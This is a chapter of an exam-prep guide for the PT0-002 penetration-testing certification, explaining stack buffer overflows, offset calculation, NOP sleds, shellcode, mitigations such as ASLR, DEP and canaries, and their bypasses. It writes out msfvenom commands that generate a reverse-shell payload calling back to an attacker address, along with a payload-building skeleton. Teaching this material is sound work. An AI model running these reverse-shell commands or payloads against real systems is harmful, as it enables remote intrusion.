PT0-002Chapter 54 of 104Objective 3.1

Buffer Overflow Exploitation Concepts

This chapter covers buffer overflow exploitation concepts, a critical topic for the PT0-002 exam's Attacks and Exploits domain (Objective 3.1). Buffer overflows remain a foundational vulnerability type, and the exam tests your understanding of stack-based overflows, shellcode injection, and mitigation bypasses. Approximately 10-15% of exam questions touch on buffer overflow principles, detection, or exploitation techniques. Mastery of this chapter will help you identify, analyze, and exploit buffer overflow vulnerabilities in penetration testing scenarios.

25 min read
Intermediate
Updated May 31, 2026

Buffer Overflow: Stack Overflow in a Warehouse

Imagine a warehouse with a long row of numbered shelves (the stack). Each shelf can hold exactly one crate (a variable). The warehouse manager (the CPU) has a strict rule: when receiving new crates, they must be placed starting at shelf 1 and continue in order, never skipping a shelf. A delivery truck arrives with crates labeled A, B, C, and D. The manager places A on shelf 1, B on shelf 2, C on shelf 3, and D on shelf 4. But the delivery order mistakenly says there are only 3 crates, so the manager stops at shelf 3. However, the truck actually has 5 crates — the extra crate E is pushed onto shelf 5, which is supposed to hold the manager's personal notebook (the return address). When the manager later checks the notebook to decide what to do next, they read the wrong instructions (corrupted return address) and execute a different task, possibly loading a malicious crate into the system. This is exactly how a buffer overflow works: writing more data into a buffer than allocated overwrites adjacent memory, including critical pointers like the return address on the stack.

How It Actually Works

What Is a Buffer Overflow?

A buffer overflow occurs when a program writes more data to a fixed-length memory buffer than it can hold. The excess data spills over into adjacent memory locations, potentially corrupting other variables, control flow data, or even executing arbitrary code. Buffer overflows are classified by memory region: stack-based (most common), heap-based, and format string vulnerabilities. The PT0-002 exam focuses primarily on stack-based overflows.

How the Stack Works

To understand buffer overflows, you must understand the call stack. The stack is a LIFO data structure used for function call management. Each function call creates a stack frame containing: - Function parameters (passed in registers or pushed onto stack) - Return address (the address in the calling function to resume execution after the called function returns) - Saved base pointer (EBP/RBP) (points to the previous frame's base) - Local variables (allocated on the stack)

The stack grows downward (toward lower memory addresses). The stack pointer (ESP/RSP) points to the top of the stack. The base pointer (EBP/RBP) is used as a reference point for accessing parameters and locals.

Stack-Based Buffer Overflow Mechanics

Consider a vulnerable C function:

void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input); // no bounds checking
}

When vulnerable() is called, the stack frame looks like this (low to high addresses): - buffer[0..63] (64 bytes) - saved EBP (4 bytes on x86, 8 bytes on x64) - return address (4 or 8 bytes) - parameters (optional)

The strcpy() function copies input into buffer without checking length. If input is longer than 64 bytes, it overwrites the saved EBP, then the return address, and beyond. By carefully crafting the input, an attacker can overwrite the return address with a pointer to malicious code (shellcode) placed in the buffer or elsewhere, achieving arbitrary code execution.

Key Components and Values

Buffer size: The allocated space (e.g., 64 bytes). Critical for determining overflow offset.

Offset: The number of bytes needed from the start of the buffer to reach the return address. On x86, for a 64-byte buffer, offset = 64 (buffer) + 4 (saved EBP) = 68 bytes. On x64, offset = 64 + 8 = 72 bytes.

Return address overwrite: The 4 or 8 bytes at the calculated offset that redirect execution.

Shellcode: Machine code that spawns a shell or performs another action. Typically placed after the return address or in the buffer itself.

NOP sled: A sequence of NOP (0x90) instructions before shellcode to increase reliability if the exact address is unknown.

Exploitation Steps

1.

Identify vulnerability: Find a function with no bounds checking (e.g., strcpy, gets, sprintf).

2.

Determine offset: Use a pattern string (e.g., from pattern_create.rb in Metasploit) to find the exact offset to the return address.

3.

Control the return address: Overwrite the return address with the address of your shellcode (or a jmp esp instruction).

4.

Inject shellcode: Place shellcode in the buffer or after the return address. Use a NOP sled for reliability.

5.

Exploit: Trigger the vulnerable function with the crafted payload.

Shellcode Injection and NOP Sleds

Shellcode is position-independent machine code that typically spawns a shell (e.g., /bin/sh on Linux). The shellcode must avoid null bytes (which terminate strings) if the overflow is via string copy. A NOP sled is a block of NOP instructions placed before the shellcode. If the return address points anywhere into the NOP sled, execution slides into the shellcode. This increases the chance of success when the exact memory address is unknown due to ASLR.

Mitigations and Bypasses

ASLR (Address Space Layout Randomization): Randomizes memory addresses, making it harder to predict the target address. Bypass: use information leaks or partial overwrites.

DEP (Data Execution Prevention): Marks stack as non-executable. Bypass: use Return-Oriented Programming (ROP) to chain existing code gadgets.

Stack Canaries: A random value placed between local variables and saved EBP. If overflow corrupts it, the program terminates. Bypass: leak the canary value or brute-force (if small).

Safe Functions: Using strncpy, snprintf, etc., with size limits. The exam tests recognition of vulnerable vs. safe functions.

Heap-Based Overflows

Heap overflows target dynamically allocated memory (malloc/free). They corrupt heap metadata or adjacent objects. Exploitation is more complex and often involves overwriting function pointers. The exam may contrast heap vs. stack overflows.

Format String Vulnerabilities

These occur when user input is passed directly to printf-family functions without a format string. Attackers can read/write arbitrary memory using %x, %n, etc. While not a buffer overflow per se, it is often grouped with memory corruption.

Verification and Testing Commands

gdb: Debugger to analyze crashes and memory layout.

pattern_create.rb (Metasploit): Generates a unique pattern to find offset.

pattern_offset.rb: Finds offset from a pattern value.

nasm: Assembles shellcode.

objdump: Disassembles binaries for gadget analysis.

msfvenom: Generates shellcode (e.g., msfvenom -p linux/x86/shell_reverse_tcp LHOST=... LPORT=... -f c).

Interaction with Other Technologies

Buffer overflows are relevant to web applications (e.g., buffer overflow in a CGI binary), network services (e.g., SMB, FTP), and operating systems. Modern exploitation often combines multiple techniques (e.g., ROP to bypass DEP, then execute shellcode). The exam expects you to understand how these mitigations affect exploit development.

Walk-Through

1

Identify Vulnerable Function

Examine the source code or binary for functions that lack bounds checking, such as `strcpy()`, `gets()`, `sprintf()`, or `scanf()` with `%s`. In a compiled binary, use reverse engineering (e.g., with IDA Pro or Ghidra) to find calls to these functions. The vulnerability exists when a fixed-size buffer is used without a length limit. For example, `char buf[64]; strcpy(buf, user_input);` is vulnerable. The PT0-002 exam may present code snippets and ask you to identify the vulnerable line.

2

Determine Offset to Return Address

Use a cyclic pattern (e.g., from Metasploit's `pattern_create.rb`) as input to crash the program. The pattern is a unique string of characters. When the program crashes, examine the value that overwrote the instruction pointer (EIP/RIP). Use a debugger (like gdb) or the crash dump to extract this value. Then use `pattern_offset.rb` to find the offset. For example, if EIP = 0x6161616c, the offset is 68 bytes for a 64-byte buffer on x86. This step is crucial because an incorrect offset will fail to control execution.

3

Control the Return Address

Once the offset is known, craft a payload that fills the buffer with 'A's up to the offset, then overwrite the return address with a desired value. On x86 without ASLR, you might overwrite with the address of your shellcode (e.g., buffer address). With ASLR, you might use a `jmp esp` gadget (if stack is executable) or a ROP chain. For example: `payload = b'A' * offset + p32(shellcode_address)`. The program will then jump to that address when the function returns.

4

Inject Shellcode

Generate shellcode using `msfvenom` that performs the desired action, such as spawning a reverse shell. The shellcode must be null-free if the overflow is via a string copy (since null terminates the string). Place the shellcode in the buffer (after the NOP sled) or after the return address. Example: `msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b '\x00' -f python`. Then concatenate: `payload = NOP_sled + shellcode + padding + return_address`. The NOP sled (e.g., 16 bytes of `\x90`) increases the chance of hitting the shellcode.

5

Execute and Gain Shell

Send the crafted payload to the vulnerable program (e.g., via a network service or local exploit). When the function returns, the overwritten return address redirects execution to the NOP sled or shellcode. If successful, you gain a shell with the privileges of the vulnerable process. On the PT0-002 exam, you might need to identify the payload structure (e.g., which part is the NOP sled) or interpret a crash dump to confirm exploitation.

What This Looks Like on the Job

Buffer overflows are a classic vulnerability that still appears in enterprise environments, especially in legacy systems, embedded devices, and custom applications. For example, a penetration tester might encounter a buffer overflow in a network-attached storage (NAS) device's web interface. The device runs a stripped-down Linux with an old HTTP server that uses sprintf() to log user input into a fixed buffer. By sending a long HTTP request, the tester can overflow the buffer, overwrite the return address, and execute a reverse shell to gain root access. This is a common scenario in IoT pentesting.

Another real-world example is exploiting a buffer overflow in a corporate VPN client. The client might have a vulnerable strcpy() in its certificate parsing logic. A malicious VPN server sends a crafted certificate with a long Common Name field. When the client parses it, the overflow corrupts memory, allowing remote code execution on the endpoint. This attack could be used in red team engagements to gain initial access.

In production, developers often mitigate overflows by using safe functions (strncpy, snprintf) or compiler protections (stack canaries, ASLR, DEP). However, many embedded systems have these protections disabled due to performance constraints. Penetration testers must be able to identify unprotected binaries using tools like checksec (e.g., checksec --file=binary). Common misconfigurations include compiling without -fstack-protector, disabling ASLR via personality() syscall, or marking the stack as executable (e.g., -z execstack). When these protections are absent, exploitation is straightforward. When present, the tester must use advanced techniques like ROP or ret2libc.

Performance considerations: Exploits may fail due to environmental differences (e.g., different libc versions, ASLR entropy). Testers often use a staged payload: a small first-stage shellcode that downloads a larger second-stage. This reduces size constraints and improves reliability. The PT0-002 exam expects you to understand these practical challenges and how to overcome them.

How PT0-002 Actually Tests This

The PT0-002 exam tests buffer overflow exploitation concepts under Objective 3.1 (Given a scenario, exploit vulnerabilities to gain access). Key areas include: - Identifying vulnerable functions: Know which C functions are dangerous (strcpy, gets, sprintf, scanf with %s, read with unchecked length). The exam may present code snippets and ask which line is vulnerable. - Stack frame layout: Understand the order: local variables, saved EBP, return address. Be able to calculate the offset given a buffer size and architecture (x86: 32-bit, x64: 64-bit). - Mitigations: ASLR, DEP, stack canaries. Know how each works and common bypasses (e.g., ROP for DEP, information leak for ASLR). The exam might ask which mitigation prevents a specific exploit. - Shellcode requirements: Null-byte avoidance, size limits, architecture specificity (x86 vs x64). - Tools: Metasploit (pattern_create, pattern_offset, msfvenom), debuggers (gdb), checksec. Know the purpose of each.

Common wrong answers: 1. Confusing heap and stack overflows: Candidates think all overflows affect the heap. The exam explicitly tests stack-based overflows; heap overflows are a separate topic. 2. Misunderstanding offset calculation: Forgetting that saved EBP is 4 bytes on x86 and 8 bytes on x64. A 64-byte buffer on x86 has offset 68, not 64. 3. Thinking ASLR alone prevents all overflows: ASLR randomizes addresses but can be bypassed with information leaks or brute-force. 4. Believing DEP blocks all code execution: DEP prevents direct execution on the stack, but ROP chains reuse existing code.

Specific numbers/values: The exam may ask default buffer sizes (e.g., 64, 128, 256 bytes) and typical offsets. Know that stack canaries are often 4 bytes. The jmp esp gadget address is a common target.

Edge cases: Overflows in 64-bit systems require null-byte avoidance in addresses (since addresses have null bytes). Format string vulnerabilities are often confused with buffer overflows but are distinct.

How to eliminate wrong answers: If a question asks about preventing code execution on the stack, the answer is DEP, not ASLR. If it asks about detecting corruption, it's a stack canary. If it asks about redirecting execution without new code, it's ROP.

Key Takeaways

A stack-based buffer overflow overwrites the return address to hijack execution.

The offset to the return address = buffer size + saved base pointer size (4 bytes x86, 8 bytes x64).

Stack canaries detect overflow by checking a random value before the return address.

DEP prevents code execution on the stack; bypass with ROP using existing code gadgets.

ASLR randomizes addresses; bypass with information leaks or brute-force.

Shellcode must be null-free if overflow is via string copy (e.g., strcpy).

Tools: Metasploit pattern_create/pattern_offset for offset, msfvenom for shellcode.

Vulnerable functions include strcpy, gets, sprintf, scanf with %s.

Easy to Mix Up

These come up on the exam all the time. Here's how to tell them apart.

Stack-Based Buffer Overflow

Targets the call stack (local variables, return address)

Overwrites return address to hijack control flow

Easier to exploit due to predictable stack layout

Mitigated by stack canaries, DEP, ASLR

Common in functions using strcpy, gets

Heap-Based Buffer Overflow

Targets dynamically allocated memory (heap)

Overwrites heap metadata or adjacent objects (e.g., function pointers)

More complex exploitation; often requires heap spray or manipulation

Mitigated by heap protections (e.g., safe unlinking, ASLR)

Common in programs with custom memory managers

Watch Out for These

Mistake

A buffer overflow always leads to arbitrary code execution.

Correct

Not all overflows are exploitable. If the overflow corrupts only non-critical data or if the program crashes before control can be hijacked, code execution may not be possible. Exploitability depends on the memory layout, mitigations, and the attacker's ability to control the overwritten data.

Mistake

Stack canaries prevent all buffer overflows.

Correct

Stack canaries only detect corruption of the return address. They do not prevent the overflow itself. If the attacker can leak the canary value (e.g., via a format string vulnerability), they can include it in the payload and bypass the check. Also, canaries are not used in all functions (e.g., optimized code).

Mistake

ASLR makes buffer overflow exploitation impossible.

Correct

ASLR randomizes memory addresses but can be bypassed using information leaks (e.g., leaking a pointer), partial overwrites (if the random bits are few), or brute-force (if the address space is small, like 32-bit systems without high entropy). In practice, combined with DEP, ASLR raises the bar but does not eliminate the threat.

Mistake

Heap overflows are the same as stack overflows.

Correct

Heap overflows target dynamically allocated memory and corrupt heap metadata (e.g., free list pointers) or adjacent objects. Exploitation often involves overwriting function pointers or causing a write-what-where condition. The mechanics and mitigations differ significantly from stack overflows. The exam treats them as separate topics.

Mistake

Shellcode must be placed in the buffer that overflowed.

Correct

Shellcode can be placed anywhere in memory that the attacker can control, such as environment variables, other buffers, or via a second vulnerability (e.g., a heap spray). The return address simply needs to point to the shellcode. Using a NOP sled increases the chance of landing in the shellcode.

Do You Actually Know This?

Reveal each answer, then mark whether you got it right. Score 60%+ to unlock the next chapter.

Frequently Asked Questions

How do I calculate the offset to the return address in a buffer overflow?

The offset is the number of bytes from the start of the buffer to the return address. On x86 (32-bit), the stack frame typically has: buffer (N bytes), saved EBP (4 bytes), return address. So offset = N + 4. On x64, saved RBP is 8 bytes, so offset = N + 8. Use a cyclic pattern (e.g., Metasploit's pattern_create) to crash the program, then find the value that overwrites EIP/RIP. Use pattern_offset to get the offset. For example, if buffer is 64 bytes and x86, offset = 68.

What is a NOP sled and why is it used?

A NOP sled is a sequence of NOP (0x90) instructions placed before shellcode. If the return address points anywhere into the NOP sled, the CPU executes the NOPs sequentially until it reaches the shellcode. This increases reliability because the exact address of the shellcode may be unknown due to ASLR or slight environmental differences. The sled can be 16-256 bytes long. The exam may ask about the purpose of NOP sleds in exploit payloads.

How does ASLR affect buffer overflow exploitation?

ASLR randomizes the base addresses of the stack, heap, and libraries each time a process starts. This makes it difficult to predict the address of shellcode or ROP gadgets. Attackers bypass ASLR by: (1) leaking an address via an information disclosure vulnerability, (2) using partial overwrites (if only a few bits are randomized), (3) brute-forcing on 32-bit systems with low entropy, or (4) using a technique like ret2plt to call a library function without knowing its address. The exam may test your understanding of these bypasses.

What is Return-Oriented Programming (ROP)?

ROP is an exploit technique used to bypass DEP (non-executable stack). Instead of injecting new code, the attacker chains together small sequences of existing machine code (gadgets) that end with a RET instruction. Each gadget performs a small operation (e.g., pop a value into a register). By controlling the stack, the attacker can chain gadgets to execute arbitrary computation, such as calling a system function. ROP requires knowledge of the target binary's gadgets and often bypasses ASLR if a library base is leaked.

What is the difference between a buffer overflow and a format string vulnerability?

A buffer overflow occurs when data exceeds a buffer's bounds, corrupting adjacent memory. A format string vulnerability occurs when user input is passed as the format string to printf-family functions (e.g., printf(user_input)). Attackers can use %x to read memory or %n to write to arbitrary addresses. Both are memory corruption bugs but have different mechanisms. The exam may ask to distinguish between them. Format string vulnerabilities can also be used to bypass mitigations by leaking addresses.

How do I generate shellcode for a buffer overflow exploit?

Use msfvenom (Metasploit) to generate shellcode. For example: `msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b '\x00' -f python`. The -b flag specifies bad characters (e.g., null bytes). The output is a Python byte string. You can also specify architecture (e.g., -a x86) and platform (e.g., --platform linux). Ensure the shellcode fits within the available buffer space. The exam may ask about msfvenom options.

What are common mitigations against buffer overflows?

Common mitigations: (1) Stack canaries (e.g., /GS flag in Visual Studio) – a random value before the return address that is checked before return. (2) DEP (NX bit) – marks the stack as non-executable. (3) ASLR – randomizes memory addresses. (4) Safe functions (e.g., strncpy instead of strcpy). (5) Compiler warnings and static analysis. The exam expects you to know how each mitigation works and its limitations. For example, stack canaries can be bypassed if the canary value is leaked.

Terms Worth Knowing

Ready to put this to the test?

You've just covered Buffer Overflow Exploitation Concepts — now see how well it sticks with free PT0-002 practice questions. Full explanations included, no account needed.

Done with this chapter?